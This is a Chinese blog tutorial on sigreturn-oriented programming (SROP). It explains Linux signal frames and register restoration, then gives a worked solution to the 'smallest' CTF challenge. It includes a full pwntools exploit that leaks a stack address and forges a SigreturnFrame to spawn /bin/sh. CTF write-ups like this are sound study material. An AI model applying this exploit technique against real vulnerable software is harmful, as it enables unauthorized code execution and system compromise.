SROP验证

文章目录

  • SROP
    • signal机制
  • SROP的利用原理:
    • 获取shell
    • system call chains
    • 条件:
    • sigreturn 测试
  • 例题:

SROP

signal机制

  1. signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

    image-20241009101314598

    • 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
    • 内核会为该进程保存相应的上下文主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
    • signal handler 返回后,内核会执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

    image-20241009100752016

    对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext:

    • x86
    struct sigcontext
    {unsigned short gs, __gsh;unsigned short fs, __fsh;unsigned short es, __esh;unsigned short ds, __dsh;unsigned long edi;unsigned long esi;unsigned long ebp;unsigned long esp;unsigned long ebx;unsigned long edx;unsigned long ecx;unsigned long eax;unsigned long trapno;unsigned long err;unsigned long eip;unsigned short cs, __csh;unsigned long eflags;unsigned long esp_at_signal;unsigned short ss, __ssh;struct _fpstate * fpstate;unsigned long oldmask;unsigned long cr2;
    };
    
    • x64
    struct _fpstate
    {/* FPU environment matching the 64-bit FXSAVE layout.  */__uint16_t        cwd;__uint16_t        swd;__uint16_t        ftw;__uint16_t        fop;__uint64_t        rip;__uint64_t        rdp;__uint32_t        mxcsr;__uint32_t        mxcr_mask;struct _fpxreg    _st[8];struct _xmmreg    _xmm[16];__uint32_t        padding[24];
    };struct sigcontext
    {__uint64_t r8;__uint64_t r9;__uint64_t r10;__uint64_t r11;__uint64_t r12;__uint64_t r13;__uint64_t r14;__uint64_t r15;__uint64_t rdi;__uint64_t rsi;__uint64_t rbp;__uint64_t rbx;__uint64_t rdx;__uint64_t rax;__uint64_t rcx;__uint64_t rsp;__uint64_t rip;__uint64_t eflags;unsigned short cs;unsigned short gs;unsigned short fs;unsigned short __pad0;__uint64_t err;__uint64_t trapno;__uint64_t oldmask;__uint64_t cr2;__extension__ union{struct _fpstate * fpstate;__uint64_t __fpstate_word;};__uint64_t __reserved1 [8];
    };
    

一个给进程发送signal信号的例子:

// 接收信号的程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>void signal_hand(int signal) {printf("bkbqwq received signal %d\n", signal);
}int main() {int judge;// 设置信号处理函数signal(SIGUSR1, signal_hand);printf("receive fork pid : %d\n",getpid());printf("Process will send SIGUSR1 to itself in 5 seconds...\n");scanf("%d",&judge);printf("Process will continue after signal...\n");// 等待一段时间,以便可以看到进程在接收信号后继续执行sleep(3);return 0;
}

发送信号的程序:

// 发送signal 信号的程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
int main() {int pid;// 输入要发送信号的进程的pidscanf("%d",&pid);// send signalkill(pid, SIGUSR1);return 0;
}
  1. 运行看一下效果:

    image-20241009194706023

    调试看一下在给yz1发送信号时,进程yz1的反应:

    给信号SIGUSR1完整定义:

    image-20241009194821032

    利用kill -SIGUSR1 pid给进程yz1发送信号:

    image-20241009194918168

    从新回到yz1调试,此时调试器收到了内核给的信号:

    image-20241009200639374

    单步步入,该线程就会进入到signal_hand信号处理函数 来处理信号(直接跳转,操作由内核来完成):

    观察寄存器的变化,观察栈上的变化

    额外关注一下函数的调用栈上,__restore_rt是直接从函数头开始的,说明调用signal_hand函数的不是 restore_rt函数,而是内核直接安排在栈上,用来执行完signal_hand信号处理函数后直接恢复进程原来的上下文,来模仿一个call 指令(将返回地址入栈)

    image-20241009200656498

    栈上的数据:

    image-20241009201503675

    在 signal_hand信号处理函数 处理完成之后会用ret指令,返回到__restore_rt函数上,在 _restore_rt中调用了15号系统调用SYS_rt_sigreturn 来恢复进程的上下文:

    此时的栈空间上的一些布局就是要恢复的寄存器数据,这里没有了上面 rt_sigreturn那一段(所以在伪造signal Frame时执行到SYS_rt_sigreturn 系统调用,栈上的布局要从uc_flags开始):

    image-20241009202156285

    执行完SYS_rt_sigreturn 系统调用后,寄存器的值恢复(rip也被直接恢复),程序直接返回到 进入signal_hand信号处理函数前的位置:

    image-20241009202554596

    在用户成面,对signal Frame没有检查

SROP的利用原理:

  1. 仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

    • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
    • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

    所以,可以伪造Signal Frame,并利用sigreturn 系统调用 ,来给寄存器赋值(所以寄存器都能控制)。

获取shell

  1. 首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个 Signal Frame,如下图所示,这里以 64 位为例子,给出 Signal Frame 更加详细的信息:

    当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令恢复相应寄存器的值,当执行到pop rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。

system call chains

  1. 上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可:

    • 控制栈指针。
    • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

    如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用:

    srop-example-2

条件:

  1. 在构造 SROP 攻击的时候,需要满足下面的条件:
    • 可以通过栈溢出来控制栈的内容 ==> 为了写入寄存器的值
    • 需要知道相应的地址:
      • “/bin/sh”
      • Signal Frame
      • syscall
      • sigreturn
    • 需要有够大的空间来塞下整个 sigal frame(栈溢出的空间要足够大)
  2. 值得一说的是,对于 sigreturn 系统调用来说,在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15,只需要 RAX=15,并且执行 syscall 即可实现调用 syscall 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数。

sigreturn 测试

  1. 测试源码:

    image-20241009102501368

  2. 溢出覆盖栈上的内容,并调用sigreturn 来观察寄存器值的变化:

    栈上的布局(0x7ffc08163e38是执行sigreturn系统调用时的栈顶),和上面Signal Frame,cs\gs\fs必须赋值为0x33(0b00110011):

    image-20241009104741587

    调用前后寄存器的对比:

    image-20241009103141098

    cs/gs/fs那个字段的低2个字节用来恢复的cs段寄存器(固定为0x0033),如果赋值不是0x0033的话,后续恢复寄存器后执行代码会出问题(寄存器会正常恢复):

    image-20241009110755115

例题:

题目:春秋杯smallest

  1. 题目简短而精悍,只有6条汇编指令:

    image-20241009203034781

  2. rax ==> 0 对应系统用调用read函数,输入的长度是0x400,地址直接在rsp上,即输入的位置就是返回地址:

    先泄漏栈地址,利用read返回值rax(1)来调用系统调用write:

    # 先泄漏栈地址
    SYS_read_ret = 0x00000000004000B0
    syscall_ret = 0x0000000004000BE
    payload = p64(SYS_read_ret) + p64(syscall_ret) + p64(SYS_read_ret)	# 第一个SYS_read_ret用来控制rax的值 syscall_ret调用write 第二个SYS_read_ret 用来调用write后继续输入
    p.send(payload)payload = b"\xb3"
    p.send(payload)
    stack_addr = u64(p.recv()[0x00002d0:0x00002d0+8])
    success("stack_addr ==> " + hex(stack_addr))
    

    第一个SYS_read_ret,从新去执行read系统调用:

    image-20241009203559051

    输入的长度为1,rax返回值为1:

    image-20241009203705478

    从而执行write系统调用,来泄漏栈地址,ret衔接到SYS_read_ret再来输入:

    image-20241009203750189

    伪造sigal frame写入栈上,控制好到栈顶的距离:

    # 构造frame,表示execv("/bin/sh",0,0)
    frame = SigreturnFrame()
    frame.rax = constants.SYS_execve    # execve函数的系统编号
    frame.rdi = stack_addr - 0x000229   # /bin/sh地址
    frame.rsi = 0x0
    frame.rdx = 0x0
    frame.rsp = stack_addr
    frame.rip = syscall_ret             # 调用execve函数frame_payload = p64(SYS_read_ret) + p64(0) +bytes(frame)    # SYS_read_ret用来作为返回值 后续输入控制rax的值来执行SYS_rt_sigreturn
    payload = frame_payload + b"/bin/sh\x00"
    p.send(payload)
    pause()
    payload = p64(syscall_ret) + b"\x00"*(15-8) # 通过read的返回值 来控制rax寄存器的值 执行rt_sigreturn
    p.send(payload)
    

    栈上的布局,sigal frame从第二行开始(因为后面还要ret调用read来控制rax的值,ret衔接到syscall,从而执行rt_sigreturn系统调用):

    image-20241009204154758

    read继续输入,输入长度为15:

    image-20241009204348733

    返回后 rax = 15,并顺利衔接到syscall指令:

    image-20241009204425746

    调用到SYS_rt_sigreturn系统调用,观察此时栈上的数据:

    image-20241009204521060

    刚好把前面填充的两个空位移除(ret)掉,下面执行SYS_rt_sigreturn系统调用就会从该地址处认为是sigal frame,据此来恢复寄存器的值

    屏幕截图 2024-10-09 204616

    执行完SYS_rt_sigreturn系统调用,就会直接用栈上的数据恢复寄存器的值(SYS_rt_sigreturn系统调用只恢复所有寄存器),rip等寄存器顺利衔接到上面sigal frame伪造得到execv(“/bin/sh”,0,0)从而getshell:

    image-20241009204855196

    最后成功getshell:

    image-20241009205120704

  3. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    # context(os='linux', arch='amd64', log_level='debug')
    context.arch = 'amd64'
    context.log_level = 'debug'def debug():gdb.attach(p)choose = 2
    if choose == 1 :    # 远程success("远程")p = remote("node4.anna.nssctf.cn",28111)libc = ELF("/home/kali/Desktop/haha/libc-2.27.so")# libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')# libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.39-0ubuntu8_amd64/libc.so.6')else :              # 本地success("本地")p = process("./smallest")libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')debug()# libc = ELF('/home/kali/Desktop/source_code/glibc-2.38_lib/lib/libc.so.6')# ld = ELF("ld.so") 
    pause()# 先泄漏栈地址
    SYS_read_ret = 0x00000000004000B0
    syscall_ret = 0x0000000004000BE
    payload = p64(SYS_read_ret) + p64(syscall_ret) + p64(SYS_read_ret)
    p.send(payload)
    pause()
    payload = b"\xb3"
    p.send(payload)
    stack_addr = u64(p.recv()[0x00002d0:0x00002d0+8])
    success("stack_addr ==> " + hex(stack_addr))# # 构造frame,表示read(0,stack_addr,0x400)
    # frame = SigreturnFrame()
    # frame.rax = constants.SYS_read  # read函数的系统编号
    # frame.rdi = 0x0                 # read函数读入的文件 0 ==> 标准输入
    # frame.rsi = stack_addr          # read函数写入地址
    # frame.rdx = 0x400               # read函数写入的长度
    # frame.rsp = stack_addr
    # frame.rip = syscall_ret         # 调用read函数# print(len(frame))
    # payload = p64(SYS_read_ret) + p64(0) + bytes(frame)
    # p.send(payload)# pause()
    # #通过控制输入的字符数量,调用sigreturn,从而控制寄存器的值
    # payload = p64(syscall_ret) + b"\x00"*(15-8) # 通过read的返回值 来控制rax寄存器的值 执行前面的Sigreturn
    # p.send(payload)# 构造frame,表示execv("/bin/sh",0,0)
    frame = SigreturnFrame()
    frame.rax = constants.SYS_execve    # execve函数的系统编号
    frame.rdi = stack_addr - 0x000229   # /bin/sh地址
    frame.rsi = 0x0
    frame.rdx = 0x0
    frame.rsp = stack_addr
    frame.rip = syscall_ret             # 调用execve函数frame_payload = p64(SYS_read_ret) + p64(0) +bytes(frame)    # SYS_read_ret用来作为返回值 后续输入来执行SYS_rt_sigreturn
    payload = frame_payload + b"/bin/sh\x00"
    p.send(payload)
    pause()
    payload = p64(syscall_ret) + b"\x00"*(15-8) # 通过read的返回值 来控制rax寄存器的值 执行前面的Sigreturn
    p.send(payload)pause()
    p.interactive()
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1560160.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【onnx模型转kmodel】记录和踩坑——nncase-v1.9使用

最近几天一直在找相关资料&#xff0c;坑太多&#xff0c;也可能我菜的成分更多一点吧&#xff01;记录下来&#xff0c;以观后用&#xff1b; 背景 我手里有一个正点原子的K210的开发板&#xff1b; 刚刚安装了wsl2下的ubuntu22.04 我手里有正点原子的源码&#xff0c;但是…

项目管理监控难题解析:为何监控至关重要

项目管理中的监控环节常常被视为一项艰巨的任务&#xff0c;但它却是确保项目成功的关键所在。为何监控在项目管理中如此重要呢&#xff1f;让我们一同深入解析这个难题。 一、目前项目管理监控存在的问题 在项目管理的实践中&#xff0c;监控环节常常暴露出一系列问题&#x…

西门子S7-SMART运动控制向导

打开“运动控制”向导&#xff0c;“工具”->“向导”->“运动控制” 图 1.打开“运动控制”向导 选择需要配置的轴 图 2.选择需要配置的轴 为所选择的轴命名 图 3.为所选择的轴命名 输入系统的测量系统&#xff08;“工程量”或者“脉冲数/转”&#xff…

u_boot内核编译-生成uImage

内核编译 顶层目录&#xff0c;都在这个目录下进行操作 这是我们芯片的默认配置文件 第一步 拷贝一个默认的配置 以下两张是def文件内容 第二步 &#xff1a;打开可视化界面&#xff0c;前面的* 需要用空格点击两下&#xff0c;不改变原设置&#xff0c;大那是需要进行编辑操…

PDF全能免费转换 3.15 | 多功能PDF处理工具

主打就是免费好用&#xff01;1. PDF转Word/PPT/Excel/txt、图片等&#xff1b;2. PDF压缩、合并&#xff1b;3. 多图合并成长图、合并成PDF&#xff1b;4. 身份证扫描、文件扫描、证件扫描等&#xff1b;5. 证件照换底色&#xff1b;6. 热门tab页&#xff1b;7. 美化照片。 大…

【LLM论文日更】| BGE-M3E embedding模型

论文&#xff1a;https://arxiv.org/pdf/2402.03216代码&#xff1a;GitHub - FlagOpen/FlagEmbedding: Retrieval and Retrieval-augmented LLMs机构&#xff1a;BAAI领域&#xff1a;embedding model发表&#xff1a; ​ 研究背景 研究问题&#xff1a;这篇文章要解决的问…

(JAVA)熟悉队列的进阶结构 - 优先队列

1. 优先队列 ​ 普通队列是一种先进先出的数据结构&#xff0c;元素在队列尾追加&#xff0c;而从队列头删除。 ​ 在某些情况下&#xff0c;我们可能需要找出队列中的最大值或者最小值&#xff0c;例如使用一个队列保存计算机的任务&#xff0c;一般情况下计算机的任务都是有…

pytest框架之fixture测试夹具详解

前言 大家下午好呀&#xff0c;今天呢来和大家唠唠pytest中的fixtures夹具的详解&#xff0c;废话就不多说了咱们直接进入主题哈。 一、fixture的优势 ​ pytest框架的fixture测试夹具就相当于unittest框架的setup、teardown&#xff0c;但相对之下它的功能更加强大和灵活。 …

谁说电商选品找货源没有捷径,只要你用对工具!

最近跟很多同行聊&#xff0c;都在抱怨选品难的问题&#xff0c;都说7分靠选品&#xff0c;3分靠运营&#xff0c;对于选品来说&#xff0c;并没有捷径可走&#xff0c;但其实是有很多不同的角度的。 现在市面上大部分开发做的选品&#xff0c;“选品方法”或“产品分析方法”…

【含文档】基于Springboot+Android的校园论坛系统(含源码+数据库+lw)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: SpringBoot自带 apache tomcat 主要技术: Java,Springboot,mybatis,mysql,vue 2.视频演示地址 3.功能 系统定…

前端省市区组件

官网 Element UI 级联 中国省市区数据. Latest version: 5.0.2, last published: 2 years ago. Start using element-china-area-data in your project by running npm i element-china-area-data. There are 114 other projects in the npm registry using element-china-are…

SpringBoot开发——SpringSecurity安全框架17个业务场景案例(三)

文章目录 一、Spring Security 常用应用场景介绍二、Spring Security场景案例12 表达式支持(Expression-Based)12.1 Spring Security 配置12.2 业务逻辑代码12.3 控制器13、安全上下文(Security Context)13.1 Spring Security 配置13.2 业务逻辑代码13.3 控制器14、安全过滤…

Python入门笔记(四)

文章目录 第九章 集合set9.1 创建集合&#xff1a;set()、集合生成式9.2 集合性质9.3 一些函数&#xff1a;issubset()、issuperset()、isdisjoint()9.4 集合增加元素&#xff1a;add()、update()9.5 集合删除元素&#xff1a;remove()、discard()、pop()、clear()9.6 创建不能…

用IntStream生成0到n的流,并找出不在numSet中的数字列表

这是用IntStream生成0到n的流&#xff0c;并找出不在numSet中的数字-CSDN博客的升级版 给你一个含 n 个整数的数组 nums &#xff0c;其中 nums[i] 在区间 [1, n] 内。请你找出所有在 [1, n] 范围内但没有出现在 nums 中的数字&#xff0c;并以数组的形式返回结果。 先看这题低…

数据结构与算法——Java实现 32.堆

人的想法和感受是会随着时间的认知改变而改变&#xff0c; 原来你笃定不会变的事&#xff0c;也会在最后一刻变得释然 —— 24.10.10 堆 堆是基于二叉树实现的数据结构 大顶堆每个分支的上一个节点的权值要大于它的孩子节点 小顶堆每个分支的上一个节点的权值要小于它的孩子…

Linux系统通过编辑crontab来设置定时任务---定时关机

在Linux系统中&#xff0c;crontab 是用来设置周期性被执行的指令的守护进程。通过编辑 crontab&#xff0c;您可以安排定时任务&#xff0c;比如定时关机、定时备份文件、定时运行脚本等。以下是如何编辑 crontab 来设置定时任务的步骤&#xff1a; 打开终端&#xff1a;您可以…

25.第二阶段x86游戏实战2-背包属性补充

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 本次游戏没法给 内容参考于&#xff1a;微尘网络安全 本人写的内容纯属胡编乱造&#xff0c;全都是合成造假&#xff0c;仅仅只是为了娱乐&#xff0c;请不要…

k8s 1.28.2 集群部署 MinIO 分布式存储

文章目录 [toc]MinIO 介绍MinIO 生产硬件要求MinIO 存储要求MinIO 内存要求MinIO 网络要求MinIO 部署架构分布式 MinIO复制的 MinIO 部署 MinIO创建目录节点打标签创建 namespace创建 pv创建 MinIO配置 ingress问题记录通过代理服务器访问 MinIO 的 Object Browser 界面一直显示…

免费获取的8个SVG图标库,轻松下载与复制!

SVG图标相比传统的JPG、PNG图标具有诸多优势&#xff0c;适用于各种类型的图像&#xff0c;不仅能在不同尺寸下保持清晰度&#xff0c;还具备高度压缩性和轻量特性&#xff0c;支持静态和动态效果。因此&#xff0c;SVG格式在网页设计中往往是优选。尽管如今有很多免费的图标库…

微信小程序-APP-软件开发

微信小程序开发&#xff0c;作为当下移动互联网领域的一股强劲势力&#xff0c;正以其便捷性、轻量化及高用户粘性的特点&#xff0c;深刻改变着我们的生活与工作方式。它不仅为企业和个人开发者提供了一个全新的服务入口&#xff0c;更极大地拓宽了商业应用的边界。 在微信小…